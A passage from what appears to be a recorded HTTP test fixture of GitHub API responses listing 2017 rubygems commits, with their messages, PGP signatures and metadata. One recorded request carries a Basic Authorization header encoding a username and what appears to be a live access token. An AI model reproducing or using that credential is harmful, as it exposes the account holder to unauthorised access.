Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"0c846007311285534d87aed2c783d58aa276f4b0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0c846007311285534d87aed2c783d58aa276f4b0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0a0ff34170eb1371068ff97a3911b484e9d812de","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0a0ff34170eb1371068ff97a3911b484e9d812de","html_url":"https://github.com/rubygems/rubygems/commit/0a0ff34170eb1371068ff97a3911b484e9d812de","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0a0ff34170eb1371068ff97a3911b484e9d812de/comments","author":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","url":"https://api.github.com/repos/rubygems/rubygems/commits/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","html_url":"https://github.com/rubygems/rubygems/commit/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee"},{"sha":"8154b379f806b318f076eeae8f31cb6fe877a603","url":"https://api.github.com/repos/rubygems/rubygems/commits/8154b379f806b318f076eeae8f31cb6fe877a603","html_url":"https://github.com/rubygems/rubygems/commit/8154b379f806b318f076eeae8f31cb6fe877a603"}]},{"sha":"60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","node_id":"MDY6Q29tbWl0NjE0MDcwOjYwMDA2YThlNDZkYmMzMDdhYmYzYWQwMmM2YzRkOGU4Yjg1Y2VhZWU=","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-16T05:34:10Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-06-16T05:34:10Z"},"message":"Auto merge of #1953 - hsbt:backport-r58736-master, r=hsbt\n\nBackport r58736 from ruby/ruby repository(to master branch)\n\n# Description:\n\nThis is same as https://github.com/rubygems/rubygems/pull/1952.\n\n----\n\nThis is backport request from ruby core repository. We already committed this. Therefore, We will ship next version of the ruby language contained this fixes.\n\n * https://github.com/rubygems/rubygems/issues/1928\n * https://svn.ruby-lang.org/cgi-bin/viewvc.cgi?view=revision&revision=58736\n\n```\nrefresh Gem at the end of `teardown`.\n\n* lib/rubygems/test_case.rb (teardown): call `Gem::refresh()` at the\n end of `teardown`.\n On parallel test sometimes fails test process. The reason\n is:\n (1) previous tests remains `Gem::Specification@@stubs` value\n which points to temporary directories and the directories\n are removed by `teardown` method of previous test.\n (2) `require ''rubygems/gem_runner''` in `test_gem_gem_runner.rb`\n tries to require test utility file. However, with strange `@@stubs`\n RubyGems tries to load specification from removed directory.\n `StubSpecification#to_spec` returns `nil` and error will occur.\n The solution this patch employs is to refresh all of parameters\n includes `Gem::Specification@@stubs` by `Gem::refresh()`.\n```\n\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"fd516cfe297b3be55d41859dd9904b589a296e9c","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fd516cfe297b3be55d41859dd9904b589a296e9c"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","html_url":"https://github.com/rubygems/rubygems/commit/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee/comments","author":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"node_id":"MDQ6VXNlcjEzNjE0NjIy","avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c5cd09dfa1b71b98067afd50636220038818b9c7","url":"https://api.github.com/repos/rubygems/rubygems/commits/c5cd09dfa1b71b98067afd50636220038818b9c7","html_url":"https://github.com/rubygems/rubygems/commit/c5cd09dfa1b71b98067afd50636220038818b9c7"},{"sha":"934c9e474069d87714629d0c4464b2c6223d25db","url":"https://api.github.com/repos/rubygems/rubygems/commits/934c9e474069d87714629d0c4464b2c6223d25db","html_url":"https://github.com/rubygems/rubygems/commit/934c9e474069d87714629d0c4464b2c6223d25db"}]}]' http_version: recorded_at: Fri, 15 Mar 2019 21:54:06 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits?author=segiddins@segiddins.me&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:07 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4309' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c94883398bf52b12e752a19e7c024cfb" Last-Modified: - Thu, 22 Jun 2017 00:22:40 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - C317:5268:7CE018:13A514F:5C8C1EFE body: encoding: ASCII-8BIT string: '[{"sha":"8154b379f806b318f076eeae8f31cb6fe877a603","node_id":"MDY6Q29tbWl0NjE0MDcwOjgxNTRiMzc5ZjgwNmIzMThmMDc2ZWVhZThmMzFjYjZmZTg3N2E2MDM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-06-22T00:22:40Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-06-22T00:22:40Z"},"message":"Remove all references to the Bundler postit trampoline\n\nIt has now been removed from Bundler entirely","tree":{"sha":"0c846007311285534d87aed2c783d58aa276f4b0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0c846007311285534d87aed2c783d58aa276f4b0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8154b379f806b318f076eeae8f31cb6fe877a603","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZSw3QAAoJEAEZW7MV3ahWb1wP/3TOMZXkbSWUAuF0iZPci1T/\na6w/61pL8MVLX5q1JrqtOAo2QFjNRboxxpG/Sn4MwR8uEjaqwJxnYOJ2gNWgvmlL\nADM+66j2hDtVI8xzvIvVY5fjMdsWhcUUxvdKNnyX7TzlC1WCXx4UPx5EmAOfEtdw\nFeprYE7stNqt++xS94seSc9kYadU87K6e4a/1G8u29kVxj4pzvTmiwj7k6p5O4Js\n1FyxRCZ836gaPzKpDCX1pAfru4efvmCAIDCyYuIJ8RkFW3YwheLzGVIJnbPheIFT\no2do5ieT8k5dlv2qQb0QK9H3sO4SFPohu4/e0dEQklVGfxDJYZx28bJLrF1Ts1Jd\nJdQj4JogbP7Q6oav3Q56YwyOJL5FRwHDsvbUo4/vptN1C17s1jDBAyEdTUMlhdrx\nVdduz5/jmBFPTAbSSxZaXkSG1NtdMtSD1XgYVmPMSaRTiPzxv9mcy5x5FVKlh4gB\nditzI+D86pkSrCaGl8AWrUaRUllLmeoqL6DFCCFn0DG9kZ9fbQV7qu7msww8LAz2\nBidzpQngLIAuAjYYW4tkXh6EuRQSF4hLbSbkHpQHK44WtWDl1TgNzcKHNVDHkZOk\nO2jVjZXZ9Dw1yqb2BUmMVKYvvWywlhjbmtU7Ahwq8UXXD3tyjLAh/CiwpGNwMw56\nVq3LpECdpEEjfSVulhYN\n=kEtV\n-----END PGP SIGNATURE-----","payload":"tree 0c846007311285534d87aed2c783d58aa276f4b0\nparent 60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee\nauthor Samuel Giddins 1498090960 -0500\ncommitter Samuel Giddins 1498090960 -0500\n\nRemove all references to the Bundler postit trampoline\n\nIt has now been removed from Bundler entirely\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8154b379f806b318f076eeae8f31cb6fe877a603","html_url":"https://github.com/rubygems/rubygems/commit/8154b379f806b318f076eeae8f31cb6fe877a603","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8154b379f806b318f076eeae8f31cb6fe877a603/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","url":"https://api.github.com/repos/rubygems/rubygems/commits/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee","html_url":"https://github.com/rubygems/rubygems/commit/60006a8e46dbc307abf3ad02c6c4d8e8b85ceaee"}]},{"sha":"6bcf912c231583b979ee219b9711598540e6860a","node_id":"MDY6Q29tbWl0NjE0MDcwOjZiY2Y5MTJjMjMxNTgzYjk3OWVlMjE5Yjk3MTE1OTg1NDBlNjg2MGE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-01-23T20:15:13Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-06-03T21:25:29Z"},"message":"Add a test for CVE-2013-4287\n\nSee https://github.com/rubygems/rubygems/pull/1126 for context","tree":{"sha":"d294bb10453a459a54f25ac8b369716f88fa197f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d294bb10453a459a54f25ac8b369716f88fa197f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/6bcf912c231583b979ee219b9711598540e6860a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZMylJAAoJEAEZW7MV3ahWbFgP/1urZh0RZvw61a9CQvMSC0Kz\n6sDFMggP8ipSCAnXjbBPXDaqV/nK6cjsDNN/tOLzBEZA9APEKSqqD5WJvFWMrnHt\ncU/upKdAKLZFSqwxCYToXCiYvZfcs41bkjRSIt+sCA2EYWoPX3syhTwkn8u0HUEy\nZhmz94GY1QJyBoQW/XVVGVwB0kGWnibykhxS6FfOSeeIaQIIfEDk4FijthSpa1up\nC3JmFgzPBHqTp9tPI/ejk+sKETxp3gkjO8LhMPDZMtSEozaliiZFbVe6foVzUAvF\nmCJxGJM1SxW/X1EnVZIYHG+kohA6AoVAOzTQAuw2MATtczY57dMsRotQevy3jXzu\nwGBEfnROJslswSKTQjC/akByhhNia/JqHTo9l2/KqT5/l21RcNW6xrjO9HOPfqcD\nJ+PSgoaKuUxy3qVpWdjtbz+accL4jRvzDAG7/R6dFODVSnF/+8fR2H3FsGvLF26V\njFGyENHT4pd0Mo/GlaHNmMDgRf8YPOJ5ee9rqIs5UnbSjT3oZbh7K452exkDswKV\nMcLlGmEmDdjNxnrU3FZiPuHJYg5UiWbJDra8V1E/XptAF/nChmlxbxl8+27WaZ6J\nnc0hv4Q2tl8dWGFuJcYpIcgAzJjDdTB/KokjZH/Xy6RleUAFRoIkjoTiIzHfTu0Q\n7ABiCQOFhfVENSr/zi5T\n=6aRz\n-----END PGP SIGNATURE-----","payload":"tree d294bb10453a459a54f25ac8b369716f88fa197f\nparent d8277a3ac6858359796a45cffdaf13432903ca91\nauthor Samuel Giddins 1485202513 -0600\ncommitter Samuel Giddins 1496525129 -0500\n\nAdd a test for CVE-2013-4287\n\nSee https://github.com/rubygems/rubygems/pull/1126 for context\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/6bcf912c231583b979ee219b9711598540e6860a","html_url":"https://github.com/rubygems/rubygems/commit/6bcf912c231583b979ee219b9711598540e6860a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/6bcf912c231583b979ee219b9711598540e6860a/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"d8277a3ac6858359796a45cffdaf13432903ca91","url":"https://api.github.com/repos/rubygems/rubygems/commits/d8277a3ac6858359796a45cffdaf13432903ca91","html_url":"https://github.com/rubygems/rubygems/commit/d8277a3ac6858359796a45cffdaf13432903ca91"}]},{"sha":"72700f0b8f637abcf7d05f71e0d816f27e0d73a6","node_id":"MDY6Q29tbWl0NjE0MDcwOjcyNzAwZjBiOGY2MzdhYmNmN2QwNWY3MWUwZDgxNmYyN2UwZDczYTY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T19:01:43Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T19:01:43Z"},"message":"[Server] Handle gems with names ending in `-\\d`","tree":{"sha":"1b26f4ea4cbcd20e2172a49406d4b4b0689cf87b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b26f4ea4cbcd20e2172a49406d4b4b0689cf87b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/72700f0b8f637abcf7d05f71e0d816f27e0d73a6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZHJ4XAAoJEAEZW7MV3ahWkIMP/2sS2bdcrCZwdPvLd805GVn/\n4gAh23BmyxhQlGmq78OhyKdvuSn7eq6dMH6AlM748//gE0p/9KZrhlmkzQCM6uTx\n/8DjKb0erl0t5KnXxp/gkIG+B0iABOQdt35MfREM/AqwQyWK8QdEA8z/3XXMRsPa\nId2a/uvnwX78cYzQlKuBPb9X4cqUzDWLYimbmN6wwZNW0Ex61E+aJHJ5QX9tRtZV\nLadsejcvBele0BuF3eqLPuyZbzRlqNKgvLrfp8LwLBImhMRNDd3G5gcp219fEi7V\nENuOmtuPbKYpTbpF5gsnBAtCs2Mcr7Ie6MLt+dT/ni8T4KQhZ3XNFR6wVugL8qc0\nj/2Yy/EtpdeH0E/KvpLiWUQjLEdG9HcIHhgSETLiH9DQKxOlbTIJT4I+M9dMgsbA\nPrqEXOb7wwJk+cigaLE/Y+pEvaZLORHYNwop8UhKatKm/8TgyGCbFIWetr0mp7UO\n+rOn5t8ClkR/zDxxjPp7sWPmqgxzAfCGQCZ/jPknd2PSppFlHm+DE8lTqIoCldB+\ndYeeXv9HPAhGP4kfCvSSlj5h6nu2dzspzcML6sM1u80JLIdZncAQw7jJaX6j67xh\nXj4Ohq/4lPU58nRvu44zWGmpXEFGZB1GnJhyCv98D1BqNwl4p0zSa2g4Wu7Haqzj\nfqAKUuUNgJadv/IVAzwJ\n=h5hp\n-----END PGP SIGNATURE-----","payload":"tree 1b26f4ea4cbcd20e2172a49406d4b4b0689cf87b\nparent c59486be3059dc08884b5336489f762e524954f8\nauthor Samuel Giddins 1495047703 -0500\ncommitter Samuel Giddins 1495047703 -0500\n\n[Server] Handle gems with names ending in `-\\d`\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/72700f0b8f637abcf7d05f71e0d816f27e0d73a6","html_url":"https://github.com/rubygems/rubygems/commit/72700f0b8f637abcf7d05f71e0d816f27e0d73a6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/72700f0b8f637abcf7d05f71e0d816f27e0d73a6/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"c59486be3059dc08884b5336489f762e524954f8","url":"https://api.github.com/repos/rubygems/rubygems/commits/c59486be3059dc08884b5336489f762e524954f8","html_url":"https://github.com/rubygems/rubygems/commit/c59486be3059dc08884b5336489f762e524954f8"}]},{"sha":"c59486be3059dc08884b5336489f762e524954f8","node_id":"MDY6Q29tbWl0NjE0MDcwOmM1OTQ4NmJlMzA1OWRjMDg4ODRiNTMzNjQ4OWY3NjJlNTI0OTU0Zjg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T19:01:10Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T19:01:10Z"},"message":"[Gem::Specification] Add .find_all_by_full_name","tree":{"sha":"7cd727ebd45ee78ef339fc48b8d355c967f64830","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7cd727ebd45ee78ef339fc48b8d355c967f64830"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c59486be3059dc08884b5336489f762e524954f8","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZHJ32AAoJEAEZW7MV3ahWIa8P/2RC4q0aMjxC4jnHBplG27Gs\ntRQHiH0NQP+Acld+oF+g8cBOO20MsG+/GnS14T+vemGx7vbe4cVKkMO02z1l7O+L\nnd4m2rskBKYPtd5zayfeB4zohNNB/jeSUwouxQKgKeYU6y5tyHOp+ng0xHq6drx3\ncPyzFrFTBKwymLDnX4ukeAOaRUOhI0/GWTPPny7lMOJGMAXSrPyBBDDatlLLjb9B\n5KztvANYCLp08KHL5ah7iUpem25tBaeClG+YJ9D3Kpme1EOXZKwIoGFTxdp2tXWQ\n2fl4vAc8W9hH+o+WdaXosS7zr/UYZ3/5I2/lm1J/IdRvWEVqOemvn2zbT0dDTvO4\nUI2mPdwsGei+3wlrM1mbcBpNPG5qld3naCN7kMUu2OF3vCcYhmx+3ZWFFKvjBE44\nUmriSXLd/LyKuXAxbqbixsxqA56cgM4hOZGxBt81lVOlsyE/1JdNgVR+evbwPtru\nZWpiNpTp4NBgIIpseu4XhIO70Oq0eo+QlyXTB3qdMlMWVIhKUaXyNWGj6r3Kwvzi\nP9tSwvbLI854nvTNoWUM3w/UPUEWAws4hmJlLg0IBpj9XMTMPABkYx9bU8vd6kIP\nHw3JMOE9lrghw9F/mQkeXbfwP5DUQLMIrXifJb+1EOAu/Vs/hmN2QvHXYXU9nEgs\nHWtZM5U/rNTG5XbgdYdS\n=fWMS\n-----END PGP SIGNATURE-----","payload":"tree 7cd727ebd45ee78ef339fc48b8d355c967f64830\nparent dca0a654329aa24d2c7435a3fa486769dd89b7b4\nauthor Samuel Giddins 1495047670 -0500\ncommitter Samuel Giddins 1495047670 -0500\n\n[Gem::Specification] Add .find_all_by_full_name\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c59486be3059dc08884b5336489f762e524954f8","html_url":"https://github.com/rubygems/rubygems/commit/c59486be3059dc08884b5336489f762e524954f8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c59486be3059dc08884b5336489f762e524954f8/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"dca0a654329aa24d2c7435a3fa486769dd89b7b4","url":"https://api.github.com/repos/rubygems/rubygems/commits/dca0a654329aa24d2c7435a3fa486769dd89b7b4","html_url":"https://github.com/rubygems/rubygems/commit/dca0a654329aa24d2c7435a3fa486769dd89b7b4"}]},{"sha":"b10d0de188e8427522d1b5c131c1840d48236f19","node_id":"MDY6Q29tbWl0NjE0MDcwOmIxMGQwZGUxODhlODQyNzUyMmQxYjVjMTMxYzE4NDBkNDgyMzZmMTk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T05:03:10Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-05-17T05:03:10Z"},"message":"[InstallerSet] Avoid reloading _all_ local gems multiple times during dependency 